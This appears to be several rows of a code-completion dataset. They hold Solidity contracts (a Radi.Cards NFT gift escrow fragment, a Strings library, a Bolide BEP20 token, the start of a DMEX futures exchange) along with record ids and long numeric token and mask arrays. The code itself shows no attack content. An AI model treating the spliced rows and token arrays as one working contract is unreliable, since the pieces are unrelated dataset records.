require(daiContract.transferFrom(msg.sender, _sentToAddress, _giftAmount),"Sending to recipient failed");
totalGiftedInAtto = totalGiftedInAtto.add(_giftAmount);
}
emit CardGifted(_sentToAddress, _benefactorIndex, _cardIndex, msg.sender, _tokenId, true, _giftAmount, _donationAmount, _giftStatus);
return true;
}
function _mint(address to, string tokenURI) internal returns (uint256 _tokenId) {
uint256 tokenId = tokenIdPointer;
super._mint(to, tokenId);
_setTokenURI(tokenId, tokenURI);
tokenIdPointer = tokenIdPointer.add(1);
return tokenId;
}
function cancelGift(address _ephemeralAddress) public returns (bool) {
uint256 tokenId = ephemeralWalletCards[_ephemeralAddress];
require(tokenId != 0, "Can only call this function on an address that was used as an ephemeral");
RadiCard storage card = tokenIdToRadiCardIndex[tokenId];
// is deposited and wasn't claimed or cancelled before
require(card.status == Statuses.Deposited, "can only cancel gifts that are unclaimed (deposited)");
// only gifter can cancel transfer;
require(msg.sender == card.gifter, "only the gifter of the card can cancel a gift");
// update status to cancelled
card.status = Statuses.Cancelled;
// transfer optional ether or dai back to creators address
if (card.giftAmount > 0) {
if(card.daiDonation){
require(daiContract.transfer(msg.sender, card.giftAmount),"Sending to recipient after cancel gift failed");
}
else{
msg.sender.transfer(card.giftAmount);
}
}
// send nft to buyer. for this we use a custom transfer function to take the nft out of escrow and
// send it back to the buyer.
transferFromEscrow(msg.sender, tokenId);
// log cancel event
emit LogCancelGift(_ephemeralAddress, msg.sender, tokenId);
return true;
}
function claimGift(address _receiver) public returns (bool success) {
// only holder of ephemeral private key can claim gift
address _ephemeralAddress = msg.sender;
uint256 tokenId = ephemeralWalletCards[_ephemeralAddress];
require(tokenId != 0, "The calling address does not have an ephemeral card associated with it");
RadiCard storage card = tokenIdToRadiCardIndex[tokenId];
// is deposited and wasn't claimed or cancelled before
require(card.status == Statuses.Deposited, "Can only claim a gift that is unclaimed");
// update gift status to claimed
card.status = Statuses.Claimed;
// send nft to receiver
transferFromEscrow(_receiver, tokenId);
// transfer optional ether & dai to receiver's address
if (card.giftAmount > 0) {
if(card.daiDonation){
require(daiContract.transfer(_receiver, card.giftAmount),"Sending to recipient after cancel gift failed");
}
else{
_receiver.transfer(card.giftAmount);
}
}
// log claim event
emit LogClaimGift(
_ephemeralAddress,
card.gifter,
tokenId,
_receiver,
card.giftAmount,
card.daiDonation
);
return true;
}
function burn(uint256 _tokenId) public pure {
revert("Radi.Cards are censorship resistant!");
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId), "token does not exist");
return Strings.strConcat(tokenBaseURI, tokenURIs[_tokenId]);
}
function tokenDetails(uint256 _tokenId)
public view
returns (
address _gifter,
string _message,
bool _daiDonation,
uint256 _giftAmount,
uint256 _donationAmount,
Statuses status,
uint256 _cardIndex,
uint256 _benefactorIndex
) {
require(exists(_tokenId), "token does not exist");
RadiCard memory _radiCard = tokenIdToRadiCardIndex[_tokenId];
return (
_radiCard.gifter,
_radiCard.message,
_radiCard.daiDonation,
_radiCard.giftAmount,
_radiCard.donationAmount,
_radiCard.status,
_radiCard.cardIndex,
_radiCard.benefactorIndex
);
}
function tokenBenefactor(uint256 _tokenId)
public view
returns (
address _ethAddress,
string _name,
string _website,
string _logo
) {
require(exists(_tokenId),"Card must exist");
RadiCard memory _radiCard = tokenIdToRadiCardIndex[_tokenId];
Benefactor memory _benefactor = benefactors[_radiCard.benefactorIndex];
return (
_benefactor.ethAddress,
_benefactor.name,
_benefactor.website,
_benefactor.logo
);
}
function tokensOf(address _owner) public view returns (uint256[] _tokenIds) {
return ownedTokens[_owner];
}
function benefactorsKeys() public view returns (uint256[] _keys) {
return benefactorsIndex;
}
function cardsKeys() public view returns (uint256[] _keys) {
return cardsIndex;
}
function addBenefactor(uint256 _benefactorIndex, address _ethAddress, string _name, string _website, string _logo)
public onlyIfWhitelisted(msg.sender)
returns (bool) {
require(address(_ethAddress) != address(0), "Invalid address");
require(bytes(_name).length != 0, "Invalid name");
require(bytes(_website).length != 0, "Invalid name");
require(bytes(_logo).length != 0, "Invalid name");
benefactors[_benefactorIndex] = Benefactor(
_ethAddress,
_name,
_website,
_logo
);
benefactorsIndex.push(_benefactorIndex);
emit BenefactorAdded(_benefactorIndex);
return true;
}
function addCard(uint256 _cardIndex, string _tokenURI, bool _active, uint256 _maxQnty, uint256 _minPrice)
public onlyIfWhitelisted(msg.sender)
returns (bool) {
require(bytes(_tokenURI).length != 0, "Invalid token URI");
cards[_cardIndex] = CardDesign(
_tokenURI,
_active,
0,
_maxQnty,
_minPrice
);
cardsIndex.push(_cardIndex);
emit CardAdded(_cardIndex);
return true;
}
function setTokenBaseURI(string _newBaseURI) external onlyIfWhitelisted(msg.sender) {
require(bytes(_newBaseURI).length != 0, "Base URI invalid");
tokenBaseURI = _newBaseURI;
}
function setActive(uint256 _cardIndex, bool _active) external onlyIfWhitelisted(msg.sender) {
require(bytes(cards[_cardIndex].tokenURI).length != 0, "Must specify existing card");
cards[_cardIndex].active = _active;
}
function setMaxQuantity(uint256 _cardIndex, uint256 _maxQnty) external onlyIfWhitelisted(msg.sender) {
require(bytes(cards[_cardIndex].tokenURI).length != 0, "Must specify existing card");
require(cards[_cardIndex].minted <= _maxQnty, "Can't set the max quantity less than the current total minted");
cards[_cardIndex].maxQnty = _maxQnty;
}
function setMinPrice(uint256 _cardIndex, uint256 _minPrice) external onlyIfWhitelisted(msg.sender) {
require(bytes(cards[_cardIndex].tokenURI).length != 0, "Must specify existing card");
cards[_cardIndex].minPrice = _minPrice;
}
function setDaiContractAddress(address _daiERC20ContractAddress) external onlyIfWhitelisted(msg.sender){
require(_daiERC20ContractAddress != address(0), "Must be a valid address");
daiContract = StandardToken(_daiERC20ContractAddress);
}
// sets the medianizer contract for the makerdao implementation used as a price oracle
function setMedianizerContractAddress(address _MedianizerContractAddress) external onlyIfWhitelisted(msg.sender){
require(_MedianizerContractAddress != address(0), "Must be a valid address");
medianizerContract = Medianizer(_MedianizerContractAddress);
}
// returns the current ether price in usd. 18 decimal point precision used
function getEtherPrice() public view returns(uint256){
return uint256(medianizerContract.read());
}
// returns the value of ether in atto (1 usd of ether = 10^18 atto)
function getEthUsdValue(uint256 _ether) public view returns(uint256){
return ((_ether*getEtherPrice())/(1 ether));
}
// returns the minimum required in wei for a particular card given the card min price in dai
function getMinCardPriceInWei(uint256 _cardIndex) public view returns(uint256){
return ((cards[_cardIndex].minPrice * 1 ether)/getEtherPrice());
}
// transfer tokens held by this contract in escrow to the recipient. Used when either claiming or cancelling gifts
function transferFromEscrow(address _recipient,uint256 _tokenId) internal{
require(super.ownerOf(_tokenId) == address(this),"The card must be owned by the contract for it to be in escrow");
super.clearApproval(this, _tokenId);
super.removeTokenFrom(this, _tokenId);
super.addTokenTo(_recipient, _tokenId);
emit Transfer(this, _recipient, _tokenId);
}
} | via https:github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol | library Strings {
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
}
| 15,849,844 | [
1,
21985,
2333,
30,
6662,
18,
832,
19,
280,
10150,
554,
19,
546,
822,
379,
17,
2425,
19,
10721,
19,
7525,
19,
280,
10150,
554,
2557,
67,
20,
18,
25,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
8139,
288,
203,
203,
225,
445,
609,
15113,
12,
1080,
389,
69,
16,
533,
389,
70,
16,
533,
389,
71,
16,
533,
389,
72,
16,
533,
389,
73,
13,
2713,
16618,
1135,
261,
1080,
13,
288,
203,
565,
1731,
3778,
389,
12124,
273,
1731,
24899,
69,
1769,
203,
565,
1731,
3778,
389,
9897,
273,
1731,
24899,
70,
1769,
203,
565,
1731,
3778,
389,
13459,
273,
1731,
24899,
71,
1769,
203,
565,
1731,
3778,
389,
16410,
273,
1731,
24899,
72,
1769,
203,
565,
1731,
3778,
389,
2196,
273,
1731,
24899,
73,
1769,
203,
565,
533,
3778,
20011,
323,
273,
394,
533,
24899,
12124,
18,
2469,
397,
389,
9897,
18,
2469,
397,
389,
13459,
18,
2469,
397,
389,
16410,
18,
2469,
397,
389,
2196,
18,
2469,
1769,
203,
565,
1731,
3778,
324,
18947,
323,
273,
1731,
12,
18947,
323,
1769,
203,
565,
2254,
417,
273,
374,
31,
203,
565,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
389,
12124,
18,
2469,
31,
277,
27245,
324,
18947,
323,
63,
79,
9904,
65,
273,
389,
12124,
63,
77,
15533,
203,
565,
364,
261,
77,
273,
374,
31,
277,
411,
389,
9897,
18,
2469,
31,
277,
27245,
324,
18947,
323,
63,
79,
9904,
65,
273,
389,
9897,
63,
77,
15533,
203,
565,
364,
261,
77,
273,
374,
31,
277,
411,
389,
13459,
18,
2469,
31,
277,
27245,
324,
18947,
323,
63,
79,
9904,
65,
273,
389,
13459,
63,
77,
15533,
203,
565,
364,
261,
77,
273,
374,
31,
277,
411,
389,
16410,
18,
2469,
31,
277,
27245,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bolide is Context, IBEP20,Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 timestampCreated;
uint256 private immutable _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
_name = "Bolide";
_symbol = "BLID";
timestampCreated=block.timestamp;
}
function mint(address account, uint256 amount)
onlyOwner external
{
require(timestampCreated+1 days> block.timestamp,"Mint time was finished");
_mint(account,amount);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the name of the token.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public pure override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256 balance) {
return _balances[account];
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(_totalSupply + amount <= _cap, "ERC20Capped: cap exceeded");
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply-= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | * @dev Moves `amount` of tokens from `sender` to `recipient`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./ | function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
| 13,514,229 | [
1,
19297,
1375,
8949,
68,
434,
2430,
628,
1375,
15330,
68,
358,
1375,
20367,
8338,
1220,
2713,
445,
353,
7680,
358,
288,
13866,
5779,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
2348,
5859,
1147,
1656,
281,
16,
9026,
310,
1791,
28757,
16,
5527,
18,
7377,
1282,
279,
288,
5912,
97,
871,
18,
29076,
30,
300,
1375,
15330,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
20367,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
15330,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
2713,
225,
288,
203,
540,
203,
3639,
2583,
12,
15330,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
20367,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
540,
203,
203,
3639,
2254,
5034,
5793,
13937,
273,
389,
70,
26488,
63,
15330,
15533,
203,
3639,
2583,
12,
15330,
13937,
1545,
3844,
16,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
8863,
203,
3639,
22893,
288,
203,
5411,
389,
70,
26488,
63,
15330,
65,
273,
5793,
13937,
300,
3844,
31,
203,
3639,
289,
203,
3639,
389,
70,
26488,
63,
20367,
65,
1011,
3844,
31,
203,
203,
3639,
3626,
12279,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
/* Interface for ERC20 Tokens */
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
/* Interface for the DMEX base contract */
contract EtherMium {
function getReserve(address token, address user) returns (uint256);
function setReserve(address token, address user, uint256 amount) returns (bool);
function availableBalanceOf(address token, address user) returns (uint256);
function balanceOf(address token, address user) returns (uint256);
function setBalance(address token, address user, uint256 amount) returns (bool);
function getAffiliate(address user) returns (address);
function getInactivityReleasePeriod() returns (uint256);
function getMakerTakerBalances(address token, address maker, address taker) returns (uint256[4]);
function getEtmTokenAddress() returns (address);
function subBalanceAddReserve(address token, address user, uint256 subBalance, uint256 addReserve) returns (bool);
function addBalanceSubReserve(address token, address user, uint256 addBalance, uint256 subReserve) returns (bool);
function subBalanceSubReserve(address token, address user, uint256 subBalance, uint256 subReserve) returns (bool);
}
// The DMEX Futures Contract
contract Exchange {
function assert(bool assertion) pure {
if (!assertion) {
throw;
}
}
// Safe Multiply Function - prevents integer overflow
function safeMul(uint a, uint b) pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Safe Subtraction Function - prevents integer overflow
function safeSub(uint a, uint b) pure returns (uint) {
assert(b <= a);
return a - b;
}
// Safe Addition Function - prevents integer overflow
function safeAdd(uint a, uint b) pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner; // holds the address of the contract owner
// Event fired when the owner of the contract is changed
event SetOwner(address indexed previousOwner, address indexed newOwner);
// Allows only the owner of the contract to execute the function
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
// Changes the owner of the contract
function setOwner(address newOwner) onlyOwner {
emit SetOwner(owner, newOwner);
owner = newOwner;
}
// Owner getter function
function getOwner() view returns (address out) {
return owner;
}
mapping (address => bool) public admins; // mapping of admin addresses
mapping (address => uint256) public lastActiveTransaction; // mapping of user addresses to last transaction block
mapping (bytes32 => uint256) public orderFills; // mapping of orders to filled qunatity
address public feeAccount; // the account that receives the trading fees
address public exchangeContract; // the address of the main EtherMium contract
uint256 public makerFee; // maker fee in percent expressed as a fraction of 1 ether (0.1 ETH = 10%)
uint256 public takerFee; // taker fee in percent expressed as a fraction of 1 ether (0.1 ETH = 10%)
struct FuturesAsset {
string name; // the name of the traded asset (ex. ETHUSD)
address baseToken; // the token for collateral
string priceUrl; // the url where the price of the asset will be taken for settlement
string pricePath; // price path in the returned JSON from the priceUrl (ex. path "last" will return tha value last from the json: {"high": "156.49", "last": "154.31", "timestamp": "1556522201", "bid": "154.22", "vwap": "154.65", "volume": "25578.79138868", "low": "152.33", "ask": "154.26", "open": "152.99"})
bool inversed; // if true, the price from the priceUrl will be inversed (i.e price = 1/priceUrl)
bool disabled; // if true, the asset cannot be used in contract creation (when price url no longer valid)
}
function createFuturesAsset(string name, address baseToken, string priceUrl, string pricePath, bool inversed) onlyAdmin returns (bytes32)
{
bytes32 futuresAsset = keccak256(this, name, baseToken, priceUrl, pricePath, inversed);
if (futuresAssets[futuresAsset].disabled) throw; // asset already exists and is disabled
futuresAssets[futuresAsset] = FuturesAsset({
name : name,
baseToken : baseToken,
priceUrl : priceUrl,
pricePath : pricePath,
inversed : inversed,
disabled : false
});
emit FuturesAssetCreated(futuresAsset, name, baseToken, priceUrl, pricePath, inversed);
return futuresAsset;
}
struct FuturesContract {
bytes32 asset; // the hash of the underlying asset object
uint256 expirationBlock; // futures contract expiration block
uint256 closingPrice; // the closing price for the futures contract
bool closed; // is the futures contract closed (0 - false, 1 - true)
bool broken; // if someone has forced release of funds the contract is marked as broken and can no longer close positions (0-false, 1-true)
uint256 floorPrice; // the minimum price that can be traded on the contract, once price is reached the contract expires and enters settlement state
uint256 capPrice; // the maximum price that can be traded on the contract, once price is reached the contract expires and enters settlement state
